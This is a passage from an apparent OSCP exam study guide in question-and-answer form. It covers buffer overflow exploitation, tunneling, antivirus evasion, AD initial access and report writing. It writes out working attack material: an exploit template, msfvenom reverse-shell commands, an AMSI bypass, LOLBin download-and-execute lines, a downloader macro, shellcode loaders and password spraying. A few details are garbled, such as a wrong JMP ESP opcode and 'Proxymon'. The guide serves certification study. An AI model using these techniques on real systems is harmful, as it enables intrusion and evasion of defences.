Offset determines the exact number of bytes before EIP (return address). Steps: (1) Generate cyclic pattern: 'msf-pattern_create -l 2000' (2000 = approximate crash size); (2) Send pattern as payload & application crashes with unique EIP value; (3) Calculate offset: 'msf-pattern_offset -l 2000 -q 386F4337' (value from EIP register); (4) Returns exact offset: e.g., 1978 bytes. Alternative — Mona in Immunity: '!mona findmsp -distance 2000' after crashing with pattern & "EIP contains normal pattern : 0x386f4337 (offset 1978)". Verify: send 1978 'A' + 4 'B' & EIP = 42424242 (BBBB) & confirmed offset. OSCP: write Python exploit script — 'payload = "A" * 1978 + "B" * 4 + "C" * 500'.

Q168 QUESTION

What is bad character identification?

ANSWER

Bad characters corrupt the payload when processed — must be excluded from shellcode. Always bad: \x00 (null byte — terminates strings). Potentially bad: \x0a (newline), \x0d (carriage return), \xff (DEL), others depending on application. Method: (1) Generate all byte sequence \x01-\xff; (2) Send as payload after EIP overwrite; (3) In Immunity, right-click ESP & Follow in Dump; (4) Compare byte sequence in dump to expected — find missing/corrupted bytes. Mona: '!mona bytearray -b "\x00"' & generates comparison file & '!mona compare -f bytearray.bin -a [ESP address]' & shows bad chars automatically. Example: bad chars are \x00\x0a\x0d — exclude these from msfvenom: 'msfvenom ... -b "\x00\x0a\x0d"'.

Q169 QUESTION

What is finding a return address (JMP ESP)?

ANSWER

JMP ESP redirects execution to ESP where shellcode is placed. Goal: find instruction 'JMP ESP' (opcode `\xff\x04`) in a module not using ASLR/SafeSEH. Mona: `!mona jmp -r esp -cpb "\x00\x0a\x0d"` (exclude bad chars) $\square$ returns list of JMP ESP addresses. Choose: address from module with no protections (ASLR: false, SafeSEH: false, Rebase: false). Address format in exploit: little-endian (e.g., `0x625011AF` $\square$ `\xaf\x11\x50\x62`). ASLR bypass: if ASLR disabled system-wide (older Windows/CTF machines), any JMP ESP works. Example: Mona finds 'FFE4' at `0x625011AF` in `essfunc.dll` (no ASLR) $\square$ exploit: `'offset + pack('<l', 0x625011AF) + NOPsled + shellcode'`.

Q170 QUESTION

What is shellcode generation and NOP sled?

ANSWER

Shellcode is the payload executed after EIP redirect. Generate with `msfvenom`: `'msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=4444 EXITFUNC=thread -b "\x00\x0a\x0d" -f python'`. `EXITFUNC=thread`: keeps application stable after shell exits. NOP sled (`\x90` – No Operation): 16-32 bytes before shellcode – gives execution 'landing room' for imprecise JMP ESP. Final payload structure: `'FUZZ_BYTES + RETURN_ADDRESS + NOP*16 + SHELLCODE + PADDING'`. Python format: `'payload = b"A"*1978 + struct.pack("<l", 0x625011AF) + b"\x90"*16 + shellcode'`. Set up listener before sending: `'nc -lvp 4444'`. Example: `msfvenom` generates 351-byte shellcode $\square$ full payload sent $\square$ JMP ESP $\square$ NOP sled $\square$ shellcode $\square$ reverse shell caught by Netcat.

Q171 QUESTION

What is DEP and ASLR in buffer overflow context?

ANSWER

DEP (Data Execution Prevention) prevents executing code in data regions (stack). ASLR (Address Space Layout Randomization) randomizes base addresses of modules. OSCP exam: expects basic x86 stack overflow without DEP/ASLR – target application in dedicated lab environment has protections disabled for learning. Real world: bypasses exist (ROP chains for DEP, information leak for ASLR) but beyond OSCP scope. Checking protections: Mona `'mona modules'` $\square$ shows ASLR/DEP/SafeSEH per module. Choose module with all false for return address. OSCP tip: exam buffer overflow machine is x86 Windows application similar to TryHackMe 'Buffer Overflow Prep' room – practice extensively on that room before exam.

Q172 QUESTION

What is structured exception handler (SEH) overflow?

ANSWER

SEH-based overflow targets the structured exception handler chain instead of direct EIP overwrite. Why: some applications use exception handlers that make direct EIP overwrite fail. Structure: when exception occurs, Windows walks SEH chain – `nSEH` (next SEH pointer) + SEH handler (function pointer). Exploit: overflow $\square$ overwrite `nSEH` and SEH handler $\square$ trigger exception $\square$ SEH handler called $\square$ POP POP RET gadget $\square$ `nSEH` contains short jump $\square$ shellcode. Finding POP POP RET: `'!mona seh -cpb "\x00"'`. Mona offset: `'!mona findmsp'` after crash with cyclic pattern. OSCP PEN-200 covers SEH overflows – practice on VulnServer GMON command and HackTheBox PWK prep machines.

Q173 QUESTION

What is the OSCP buffer overflow Python exploit template?

ANSWER

Standard OSCP buffer overflow exploit.py template: `import socket, sys, struct. offset = [calculated offset]. eip = struct.pack('<I', [JMP_ESP_address]). nop = b'\x90' * 16. shellcode = (b'[msfvenom output]'). payload = b'A' * offset + eip + nop + shellcode. try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM). s.connect(['target_IP', [port]]). data = s.recv(1024). print('Sending exploit...'). s.send(payload). s.close(). except: print('Error connecting').` Steps: fill in offset, JMP ESP address (little-endian), shellcode (generated with msfvenom after bad char testing). Test before exam: THM Buffer Overflow Prep room completes exactly this process.

Q174 QUESTION

What is egghunter in buffer overflow?

ANSWER

Egghunter finds shellcode elsewhere in memory when buffer is too small for full shellcode. How: buffer is small □ place large shellcode somewhere in process memory (another request, environment variable) □ use tiny egghunter shellcode in small buffer □ egghunter scans memory for 'egg' tag (unique 8-byte marker) □ jumps to full shellcode. Egg tag: 8-byte marker placed before shellcode (e.g., 'w00tw00t'). Generate egghunter: `mona 'mona egg -t w00t'` — generates egghunter shellcode (32 bytes). Msfvenom shellcode with egg: prefix shellcode with 'w00tw00t'. OSCP: egghunter appears in advanced buffer overflow scenarios — understand concept, practice on VulnServer GMON command which requires egghunter.

Q175 QUESTION

What are buffer overflow mitigation bypass concepts?

ANSWER

Modern exploit mitigations and OSCP-level concepts: ASLR (Address Space Layout Randomization): randomizes base addresses □ need info leak to find addresses. Bypass: find non-ASLR module (older DLLs), brute force (32-bit), info leak vulnerability. DEP/NX (No-Execute): prevents executing code on stack □ use ROP (Return Oriented Programming) chains. Bypass: chain existing code gadgets (RET instructions in existing code) to execute shellcode indirectly. SafeSEH: validates SEH chain □ must use non-SafeSEH module for SEH exploits. CFG (Control Flow Guard): validates indirect calls. OSCP exam: target application has mitigations disabled — exam tests basic x86 BOF without mitigation bypass. Real world: mitigations are why BOF exploitation is now much harder. Learn ROP for OSED certification.

Q176 QUESTION

What is the TryHackMe Buffer Overflow Prep for OSCP?

ANSWER

TryHackMe 'Buffer Overflow Prep' room is essential OSCP preparation. Contains: OVERFLOW1 through OVERFLOW10 — ten buffer overflow exercises with increasing difficulty, all following same methodology. Environment: Windows VM with Immunity Debugger + Mona + vulnerable application 'oscp.exe'. Process per overflow: fuzzing □ offset □ bad chars □ JMP ESP □ shellcode □ exploit. After completing all 10: BOF methodology should take under 30 minutes. Combined with: VulnServer (similar practice), Brainpan (VulnHub — Linux BOF), PWK lab BOF machines. OSCP exam BOF machine: nearly identical to these practice machines. Complete THM BOF Prep at least 3 times until it's automatic. The exam BOF machine is the most predictable part of the exam.

Q177 QUESTION

What is structured exception handler (SEH) overflow basics?

ANSWER

SEH (Structured Exception Handler) overflow targets Windows exception handling instead of direct EIP overwrite. When used: standard EIP overwrite fails due to SafeSEH or application uses exception handlers. SEH chain structure: each entry has nSEH pointer (4 bytes) and SEH handler address (4 bytes). When exception triggered, Windows calls SEH handler. Exploit: overflow buffer ▯ overwrite nSEH and SEH ▯ trigger exception ▯ SEH handler points to POP POP RET gadget ▯ returns to nSEH ▯ nSEH contains short jump forward ▯ shellcode. Finding POP POP RET: Mona in Immunity – '!mona seh -cpb "\x00"' – finds gadgets in non-SafeSEH modules. Offset for SEH: Mona '!mona findmsp -distance 2000' after crash with cyclic pattern shows 'SEH record found at offset XXXX'. OSCP: SEH overflow covered in PEN-200 – practice on VulnServer GMON command which requires SEH technique.

Q178 QUESTION

What is registry autorun exploitation on Windows?

ANSWER

Registry autorun exploitation: programs registered in Run keys execute at startup or user login. Locations: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run (all users, requires restart), HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run (current user, triggers on their next login), RunOnce variants. Find entries: 'reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'. Check writeability: 'accesschk.exe /accepteula -wvu HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'. Attack 1 – registry writable: add new autorun entry pointing to reverse shell. Attack 2 – binary path writable: existing autorun entry points to writable location, replace binary. PowerUp: 'Get-ModifiableRegistryAutoRun' lists writable autoruns. Wait trigger: HKLM entries need system restart, HKCU needs user logout/login. Example: PowerUp finds 'MyUpdater' autorun in HKLM pointing to C:\Program Files\MyApp\updater.exe. Directory writable by current user. Replace updater.exe with reverse shell exe. Machine reboots for patching. Reverse shell caught as SYSTEM (services run under SYSTEM context at startup).

10 Port Redirection & Tunneling

14 Qs

Q179 QUESTION

What is port forwarding and why is it needed in OSCP?

ANSWER

Port forwarding redirects traffic from one port/host to another. OSCP use case: access internal services on target that are only accessible locally. Example: Internal web application on 127.0.0.1:8080 – only accessible from the target machine. SSH local port forward: `'ssh -L 8080:127.0.0.1:8080 user@target'` □ browse `http://localhost:8080` on Kali □ traffic forwarded to target's `localhost:8080`. Without credentials: use Chisel, plink, or socat for tunnel. Why important: OSCP machines often have services bound to localhost that require port forwarding to interact with. Example: WinRM (port 5985) filtered at firewall but accessible from localhost – port forward via SSH □ `evil-winrm` to `localhost:5985` on Kali.

Q180 QUESTION

What is SSH tunneling in OSCP?

ANSWER

SSH tunneling creates encrypted tunnels through SSH connections. Local port forward: `'ssh -L [local_port]:[remote_host]:[remote_port] user@ssh_server'` – forward local port to remote destination via SSH server. Remote port forward: `'ssh -R [remote_port]:[local_host]:[local_port] user@ssh_server'` – open port on SSH server that forwards to attacker. Dynamic port forward: `'ssh -D 1080 user@ssh_server'` – creates SOCKS proxy, use with Proxymon. Example scenario: Pivot machine A (accessible) can reach machine B (192.168.x.x). SSH to A: `'ssh -L 8888:192.168.x.x:80 user@A'` □ browse `localhost:8888` □ accessing B's web server. Combined with Proxymon for full subnet access: `'ssh -D 1080 user@A' □ 'proxymon nmap -sT 192.168.x.0/24'`.

Q181 QUESTION

What is Chisel for tunneling in OSCP?

ANSWER

Chisel is a fast TCP/UDP tunnel over HTTP using SSH. Why over SSH tunneling: works without SSH service, works through firewalls allowing HTTP, no SSH credentials needed. Server (Kali): `'chisel server -p 8080 --reverse'`. Client (target): `'./chisel client Kali_IP:8080 R:socks'` □ creates reverse SOCKS proxy on Kali port 1080. Use with Proxymon: edit `/etc/proxymon.conf` □ `'socks5 127.0.0.1 1080' □ 'proxymon nmap -sT -Pn -p 80,443,22 192.168.x.x'`. Local forward: `'chisel client Kali_IP:8080 R:8081:127.0.0.1:8080'` □ Kali port 8081 □ target's `localhost:8080`. Example: Compromise machine A □ upload chisel □ reverse SOCKS □ proxymon scans reach network B (192.168.x.0/24) □ discover and exploit machine B.

Q182 QUESTION

What is plink for Windows tunneling?

ANSWER

Plink (PuTTY Link) is the command-line version of PuTTY for SSH tunneling from Windows. Remote port forward (common OSCP use): `'plink.exe -ssh -l user -pw password -R 4444:127.0.0.1:4444 kali_IP'` □ connects to Kali, opens port 4444 on Kali that routes to target's 127.0.0.1:4444. Use case: Windows target behind firewall – have shell but can't reach Kali directly – use plink to tunnel traffic. Accept host key: `echo y | plink.exe [options]` (automated key acceptance). Alternative: Netsh portproxy: `'netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=192.168.x.x'` – pivot traffic through Windows machine without additional tools.

Q183 QUESTION

What is the Proxychains setup for OSCP pivoting?

ANSWER

Proxychains routes any TCP tool through configured proxies. Configuration: `/etc/proxychains.conf` □ comment out 'socks4 127.0.0.1 9050' □ add 'socks5 127.0.0.1 1080' (or whatever port your tunnel uses). Usage: prefix any command with proxychains: 'proxychains nmap -sT -Pn -p 22,80,443,445 192.168.x.x'. Quiet mode: 'proxychains -q nmap...' (suppress proxy output). Nmap limitation with proxychains: only TCP connect (-sT) works — no SYN scan, no UDP, no ICMP ping (use -Pn). Full workflow: Compromise machine A (pivot) □ set up SOCKS proxy (SSH -D or Chisel) □ proxychains points to proxy □ scan and exploit internal network B through pivot. Example: 'proxychains evil-winrm -i 192.168.x.x -u admin -p password' □ WinRM through pivot to internal machine.

Q184 QUESTION

What is double pivoting in OSCP?

ANSWER

Double pivoting routes through two compromised hosts to reach a third network. Scenario: Kali □ Machine A (pivot 1) □ Machine B (pivot 2) □ Machine C (target). Setup: (1) Compromise Machine A □ set up SOCKS proxy (SSH -D or Chisel); (2) Through proxy, compromise Machine B; (3) On Machine B, set up another SOCKS proxy; (4) Configure proxychains chain: socks5 proxy1 then socks5 proxy2. Chisel chaining: Kali runs chisel server □ Machine A chisel connects (reverse SOCKS) □ Machine B chisel connects through A (requires nested tunnel). Example: OSCP lab has public □ IT □ dev network chains. Compromise public machine □ pivot to IT network □ compromise IT machine □ double pivot to dev network □ access dev machines through two hops.

Q185 QUESTION

What is socat for port forwarding?

ANSWER

Socat (SOcket CAT) creates connections between two endpoints — versatile port forwarder. TCP relay: 'socat TCP-LISTEN:8080,fork TCP:192.168.x.x:80' — listen on 8080, forward to 192.168.x.x:80. Background: 'socat TCP-LISTEN:8080,fork TCP:192.168.x.x:80 &'. Full TTY shell: 'socat file:`tty`,raw,echo=0 tcp-listen:4444' on Kali, 'socat exec:bash,pty,stderr,setsid,sigint,sane tcp:kali_IP:4444' on target. Binary transfers: socat supports file transfer. Windows socat: 'socat.exe' transferred to Windows target. Example: Compromise Linux Machine A □ socat relay: 'socat -v TCP-LISTEN:3389,fork TCP:192.168.x.x:3389 &' □ RDP to Machine A's IP:3389 □ automatically relayed to internal machine's RDP □ full GUI access to internal machine.

Q186 QUESTION

What is ligolo-ng for advanced tunneling?

ANSWER

Ligolo-ng is a modern tunneling tool using TUN interface — creates a virtual network interface. Advantage: unlike proxychains (TCP-only, no ICMP), ligolo creates a proper network route — nmap -sS, UDP scans work, ping works. Setup: Kali server: 'ligolo-ng server -selfcert -laddr 0.0.0.0:11601'. Windows/Linux agent on pivot: 'ligolo-ng agent -connect kali:11601 -ignore-cert'. In ligolo console: 'session' □ select agent □ 'start'. Add route: 'ip route add 192.168.x.0/24 dev ligolo' on Kali □ all traffic to 192.168.x.0/24 routes through pivot machine. OSCP preference: many OSCP students prefer ligolo over chisel+proxychains due to full network support. Example: compromise pivot machine □ deploy ligolo agent □ full Nmap scan (SYN, UDP) of internal 192.168.x.0/24 □ find and exploit machines not visible from Kali.

Q187 QUESTION

What is SSH remote port forwarding for OSCP?

ANSWER

SSH remote port forwarding opens a port on the SSH server that tunnels to attacker's local port. Use case: target machine can reach Kali SSH server → open reverse shell port on Kali via target machine. Command: 'ssh -R [kali_port]:[local_host]:[local_port] user@kali_IP'. Example: reverse shell on port 4444 blocked by firewall → 'ssh -R 4444:localhost:4444 kali_user@kali_IP' from target → port 4444 opens on Kali → Netcat payload connects to Kali:4444 → caught. Autossh: 'autossh -M 0 -o ServerAliveInterval=30 -R 4444:localhost:4444 user@kali' — auto-reconnecting tunnel. OSCP: useful when compromised machine can reach the internet but incoming connections blocked — use reverse SSH tunnel to expose catch port.

Q188 QUESTION

What is netsh port forwarding on Windows?

ANSWER

Netsh portproxy creates port forwarding rules on Windows without additional tools. Add rule: 'netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8080 connectaddress=192.168.x.x connectport=80'. List rules: 'netsh interface portproxy show all'. Delete rule: 'netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=8080'. Firewall allow (if needed): 'netsh advfirewall firewall add rule name="FWD" protocol=TCP dir=in localport=8080 action=allow'. Use case: compromised Windows machine can reach internal server → use netsh to forward Kali's connection through Windows machine to internal server. Example: Internal database on 10.0.0.5:3306 → 'netsh portproxy add v4tov4 listenport=33060 connectaddress=10.0.0.5 connectport=3306' → 'mysql -h windows_machine_IP -P 33060 -u root' → connected to internal database.

Q189 QUESTION

What is the SOCKS proxy with Proxychains workflow?

ANSWER

Complete SOCKS proxy + Proxychains workflow: (1) Set up tunnel (SSH dynamic: 'ssh -D 1080 user@pivot' OR Chisel: server on Kali + client on pivot with R:socks); (2) Edit /etc/proxychains4.conf: comment existing socks lines, add 'socks5 127.0.0.1 1080'; (3) Test: 'proxychains curl http://10.0.0.1/'; (4) Nmap (TCP only): 'proxychains nmap -sT -Pn -p 22,80,445,3389,5985 --open -n 10.0.0.0/24'; (5) Attack tools: 'proxychains evil-winrm -i 10.0.0.5 -u admin -p pass', 'proxychains impacket-psexec admin:pass@10.0.0.5'. Proxy chain for double pivot: add two socks5 entries — proxychains sends through both proxies sequentially. Dynamic chain: 'dynamic_chain' in config — if one proxy fails, tries next.

Q190 QUESTION

What is ICMP tunneling concept in OSCP?

ANSWER

ICMP tunneling hides data in ICMP echo request/reply packets — bypasses firewalls that block TCP/UDP but allow ping. How: ICMP payload field (optional, unused for ping) carries tunneled data. Tools: ptunnel (TCP over ICMP), icmptunnel, hans. Setup: ptunnel server on Kali: 'ptunnel'; client on target: 'ptunnel -p kali_IP -lp 8080 -da internal_server -dp 80'. Now: access localhost:8080 on target → tunneled through ICMP to kali → kali connects to internal_server:80. OSCP context: rare exam scenario but important to know when TCP/UDP fully blocked and ICMP allowed. More common in real-world firewall bypass scenarios. Alternative ICMP-allowed scenarios: use ICMP for data exfiltration when all TCP/UDP egress is blocked.

Q191 QUESTION

What is the difference between forward and reverse proxies for tunneling?

ANSWER

Forward proxy: client configures proxy (like SOCKS5 proxy) — client's traffic routes through proxy to destination. Used in OSCP with Proxychains: tools on Kali use SOCKS5 proxy on localhost, traffic routed through pivot machine to target internal network. Reverse proxy: server-side — traffic to a port on server is routed to backend service. Used in OSCP with Chisel reverse: Chisel server on Kali listens, client on pivot connects back and opens reverse tunnel. SSH analogy: 'ssh -D 1080' creates forward SOCKS proxy on localhost. 'ssh -R 1080:socks' (not valid syntax — illustrative) would be reverse SOCKS. Chisel -R:socks creates reverse SOCKS on Kali. For OSCP exam: use Chisel reverse SOCKS when pivot machine cannot accept incoming connections (firewall blocks inbound) but CAN make outbound connections to Kali.

Q192 QUESTION

What is Nmap NSE script usage for OSCP?

ANSWER

Nmap Scripting Engine (NSE) extends scanning capabilities. Script categories: safe (always run), intrusive (may crash), vuln (check vulnerabilities), exploit (attempt exploitation), auth, discovery, brute. Common commands: 'nmap -sC target' runs default scripts (safe category). 'nmap --script vuln target' runs all vulnerability checks. Service-specific: 'nmap --script smb-vuln* target', 'nmap --script http-* -p 80 target'. Key individual scripts: 'smb-vuln-ms17-010' (EternalBlue), 'ssl-heartbleed' (Heartbleed), 'ftp-anon' (anonymous FTP), 'http-shellshock' (Shellshock in CGI), 'smb-enum-shares', 'smb-enum-users', 'mysql-empty-password', 'http-auth-finder', 'ssh-auth-methods'. Script help: 'nmap --script-help scriptname'. Arguments: '--script-args user=admin,password'. Example: 'nmap -p 21 --script ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor target' — comprehensive FTP vulnerability check in one command, instantly identifies vsftpd backdoor or anonymous access.

11 Antivirus Evasion

12 Qs

Q193 QUESTION

What is AV evasion in OSCP?

ANSWER

Antivirus evasion bypasses endpoint security to execute payloads. OSCP AV evasion is basic – OSCP exam machines may have AV enabled on some targets. Techniques covered in PEN-200: encoding (msfvenom encoders), custom executable wrappers, modifying shellcode, compilation from source, PowerShell AMSI bypass, macro-based payloads. OSCP focus: understand concepts, not advanced evasion. Common approach: try raw payload first – if caught, try encoding, then compile from source. Goal: get payload running, not create FUD (Fully Undetectable) malware. Example: 'msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -e x64/xor_dynamic -i 10 -f exe -o shell.exe' – XOR encoding with 10 iterations reduces detection.

Q194 QUESTION

What is PowerShell AMSI bypass?

ANSWER

AMSI (Antimalware Scan Interface) intercepts PowerShell commands and scans them before execution. Bypass techniques: (1) Memory patching – overwrite AmsiScanBuffer return value; (2) String concatenation to avoid signature: 'Se'+t-MpPreference -Dis'+ableRea'+ltimeMo'+nitoring \$true'; (3) Base64 encoding entire script; (4) Loading script before AMSI initializes. Simple AMSI bypass (may be detected): '\$a=[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils");\$b=\$a.GetField("amsiInitFailed","NonPublic,Static");\$b.SetValue(\$null,\$true)'. Invoke-Expression with split strings. Example: PowerShell script detected by AMSI □ encode with base64 □ 'powershell -EncodedCommand [base64string]' □ executes without AMSI scanning the content.

Q195 QUESTION

What is Veil Framework for AV evasion?

ANSWER

Veil generates AV-evading Metasploit payloads. Installation: 'apt install veil'. Tools: Veil-Evasion (payload generator), Veil-Ordnance (shellcode generator). Payloads: Python, C, Go, Ruby, PowerShell. Usage: 'veil' □ 'use 1' (Evasion) □ 'list' □ 'use [payload number]' □ 'set LHOST IP' □ 'set LPORT 4444' □ 'generate' □ creates AV-evading executable. Go payloads: often bypass AV well since Go binaries are less common and harder to fingerprint. Limitation: signature-based AV eventually catches Veil payloads. Combine with: obfuscation, encoding, custom code. Example: Veil generates Python payload compiled to .exe □ uploads to VirusTotal (never for real exams!) □ check detection rate □ 3/72 compared to raw msfvenom 65/72.

Q196 QUESTION

What is shellcode injection for AV evasion?

ANSWER

Shellcode injection injects malicious code into legitimate running processes – evades file-based AV. Techniques: (1) Process injection – create remote thread in target process (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread); (2) Process hollowing – spawn suspended legitimate process, replace memory with shellcode; (3) DLL injection – inject malicious DLL into process. C/C++ shellcode injector: allocate memory in target process □ write shellcode □ execute thread. Compile on Kali: 'x86_64-w64-mingw32-gcc injector.c -o injector.exe'. Example: spawn notepad.exe □ inject reverse shell shellcode into notepad process □ AV sees only notepad.exe running – no suspicious file on disk.

Q197 QUESTION

What are macro-based payloads in OSCP?

ANSWER

Malicious macros in Office documents execute VBA code when macros are enabled. Create malicious doc: Metasploit 'use exploit/multi/fileformat/office_word_macro', msfvenom, or manual VBA. VBA payload: Sub AutoOpen() and Sub Document_Open() execute on document open. Download and execute: 'Dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP"): xHttp.Open "GET","http://IP/shell.exe",False: xHttp.Send'. OSCP use: send malicious Word document to target user (client-side attack scenario). Modern defense: macros disabled by default in Office 365 — requires user to click 'Enable Content'. Example: Create Word doc with AutoOpen macro ▢ macro downloads shell.exe from Kali HTTP server ▢ executes ▢ reverse shell. Used when direct server compromise is not possible.

Q198 QUESTION

What is obfuscation in AV evasion?

ANSWER

Obfuscation hides malicious code patterns from AV signatures. PowerShell obfuscation: Invoke-Obfuscation tool, concatenation ('In'+voke-'+'Expression'), character encoding, backtick escaping ('Invoke`-Expression'). Python obfuscation: base64 encode, XOR encrypt shellcode, decrypt at runtime. String replacement: 'cmd.exe' ▢ '[char]99+[char]109+[char]100+[char]46+[char]101+[char]120+[char]101'. Example PowerShell: 'powershell -c "\$code=[System.Convert]::FromBase64String("[base64]");IEX([System.Text.Encoding]::Unicode.GetString(\$code))"' — base64 encoded payload decoded and executed at runtime — static signature-based AV misses the pattern.

Q199 QUESTION

What is process injection in AV evasion?

ANSWER

Process injection executes shellcode inside legitimate processes — evades file scanning and process-based detection. Types: CreateRemoteThread injection (classic), Reflective DLL injection (load DLL from memory without disk), Process Hollowing (spawn legit process suspended, replace memory), Thread Hijacking, APC injection. Simple C shellcode injector: VirtualAllocEx (allocate memory in target) ▢ WriteProcessMemory (write shellcode) ▢ CreateRemoteThread (execute shellcode). Target: inject into explorer.exe, notepad.exe, svchost.exe — blend with legitimate processes. OSCP: understand concept, use Metasploit 'migrate' command (process migration = injection). Example: Meterpreter ▢ 'migrate 1234' (1234 = explorer.exe PID) ▢ Meterpreter now runs inside explorer.exe.

Q200 QUESTION

What is encoding vs encryption for AV bypass?

ANSWER

Encoding transforms shellcode to avoid signature detection — NOT true encryption. XOR encoding: each byte XORed with key ▢ stored as encoded bytes ▢ decoded at runtime before execution. Base64 encoding: encode shellcode ▢ stored as base64 string ▢ decode at runtime. Msfvenom encoding: '-e x86/shikata_ga_nai -i 10' — shikata_ga_nai (polymorphic XOR additive feedback encoder) — 10 iterations. Limitation: AV knows about common encoders — shikata_ga_nai detected by most modern AV. Real AV bypass: custom encoding keys, custom XOR decoder stub (write your own in C/Go), combination of encoding + obfuscation + compilation. Go binary for AV evasion: compile shellcode loader in Go — Go binaries less commonly scanned. Example: Custom XOR key '0xAB' ▢ encode shellcode ▢ C program decodes at runtime ▢ AV cannot match signature of encoded bytes.

Q201 QUESTION

What are living off the land binaries (LOLBins)?

ANSWER

LOLBins are legitimate Windows binaries used maliciously — bypass application whitelisting and AV. Examples: certutil.exe (download files: 'certutil -urlcache -split -f http://IP/file file'), bitsadmin.exe (download: 'bitsadmin /transfer job http://IP/file C:\temp\file'), regsvr32.exe (execute DLL/script: 'regsvr32 /s /n /u /i:http://IP/file.sct scrobj.dll'), mshta.exe (execute HTA: 'mshta http://IP/file.hta'), wmic.exe (execute: 'wmic process call create "cmd.exe /c command"'), rundll32.exe (execute DLL), cscript.exe (execute VBScript), powershell.exe, cmd.exe. LOLBAS project (lolbas-project.github.io): documents all LOLBins with abuse techniques. Example: AppLocker blocks all unsigned executables → use certutil to download tool → execute via powershell or cscript.

Q202 QUESTION

What is PowerShell script obfuscation for OSCP?

ANSWER

PowerShell obfuscation hides malicious commands from AMSI and logging. Techniques: (1) Concatenation: 'I'+EX' instead of 'IEX'; (2) Backtick escape: 'Invoke-Expression'; (3) Variable substitution: '\$v1="IEX";\$v1 (script)'; (4) Base64: 'powershell -EncodedCommand [base64]'; (5) SecureString encoding; (6) Character codes: '[char]73+[char]69+[char]88' = IEX; (7) Invoke-Obfuscation tool: fully automated obfuscation. Generate base64 command: '\$code = "IEX(Get-Content script.ps1)"; [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes(\$code))'. Execute: 'powershell -NonInteractive -NoProfile -EncodedCommand [base64]'. AMSI bypass required separately even with obfuscation on modern systems. Example: Invoke-Obfuscation transforms PowerSploit script → unique string each run → AMSI signatures don't match.

Q203 QUESTION

What is basic shellcode encryption for AV bypass?

ANSWER

Encrypting shellcode prevents static signature matching. Simple XOR: for each byte in shellcode, XOR with key byte. At runtime, decrypt before executing. C implementation: generate random key, XOR each shellcode byte, store encrypted. Loader code: XOR decrypt array, allocate executable memory, copy, execute. Example: 'unsigned char key = 0xAB; for(int i=0; i<shellcode_len; i++) shellcode[i] ^= key;' — decrypt in memory before VirtualAlloc and CreateThread execution. AES encryption: stronger — use Windows CryptAPI or mbedTLS. Python to generate encrypted payload: read msfvenom raw shellcode, XOR with random key, output as C array. Compile loader with encrypted shellcode embedded. AV sees encrypted bytes — no signature match. Runtime: decryption happens in memory — AV behavioral detection may still catch but harder. OSCP: basic XOR encryption is sufficient for many exam AV scenarios.

Q204 QUESTION

What is the OSCP Active Directory initial access methodology?

ANSWER

AD initial access strategies in order of ease: Default credentials on network services: Tomcat manager, Jenkins, network printers, VPN appliances — often domain-joined using service accounts. AS-REP Roasting without credentials: 'GetNPUsers.py domain.local/ -usersfile users.txt -no-pass -dc-ip DC' — if user list found via OSINT or enumeration. Anonymous SMB/LDAP enumeration: enum4linux-ng reveals users, then spray seasonal passwords. Web application on domain-joined machine: exploit web app, get service account shell, enumerate AD. Password spray: kerbrute with common seasonal passwords against domain user list. NTLM relay: if SMB signing disabled, relay captured auth. Finding user lists without credentials: LDAP anonymous bind on older DCs, RID cycling via null SMB session, web app user registration reveals naming convention. Password spray wordlist: Company+Year, Season+Year, Company@Year, Welcome1, Password123. Example: null SMB session gives user list, kerbrute spray of 'Autumn2023' hits 2 accounts, evil-winrm access, BloodHound path to DA found.

12 Reporting & Documentation

12 Qs

Q205 QUESTION

What is the OSCP report structure?

ANSWER

OSCP exam report structure: (1) Cover page – your name, OSCP candidate ID, date; (2) Table of contents; (3) Introduction – objective, scope, methodology summary; (4) High-Level Summary – all compromised machines with IP, hostname, local/proof flag, highest privilege achieved; (5) Methodology – information gathering approach used; (6) Individual machine writeups – one section per machine with: scope, enumeration, exploitation, post-exploitation, proof screenshot; (7) Conclusion. For each machine writeup: detailed step-by-step reproduction with screenshots of every significant step, commands run, tool output. Official Offensive Security template: download from their website – use it exactly.

Q206 QUESTION

What should each machine section contain in OSCP report?

ANSWER

Per-machine report section requirements: (1) Machine IP and hostname; (2) Vulnerability exploited – CVE if applicable, description of what was vulnerable; (3) Proof of initial access – screenshot showing shell, whoami output, hostname; (4) Privilege escalation – detailed steps from initial access to root/SYSTEM; (5) Proof of full compromise – screenshot showing 'whoami' as root/SYSTEM + hostname + cat proof.txt – all in ONE screenshot; (6) Complete command listing – every command typed; (7) Tool screenshots – important tool output; (8) Remediation recommendation. Quality: report must be reproducible – another tester following your report should achieve same results. Example screenshot caption: 'Figure 1: Root shell obtained on OSCP-TARGET-01 (192.168.x.x) via CVE-2021-41773 Path Traversal to RCE with log poisoning.'

Q207 QUESTION

What are OSCP note-taking best practices?

ANSWER

Note-taking strategy during OSCP exam: Use Obsidian, CherryTree, or plain markdown files – one file per machine. Record immediately: every command run, every URL visited, every file content, every credential found. Screenshot triggers: new open port, successful authentication, shell obtained, privilege escalated, proof.txt contents. Credential notebook: separate section for all credentials found – username:password format. Network map: diagram or table of discovered hosts, their services, and relationships. Timeline: when you compromised what – helps track time spent per machine. OSCP lesson: students who fail often lack screenshots from the middle of the exploitation chain – screenshot MORE than you think you need.

Q208 QUESTION

What is the proof collection procedure in OSCP?

ANSWER

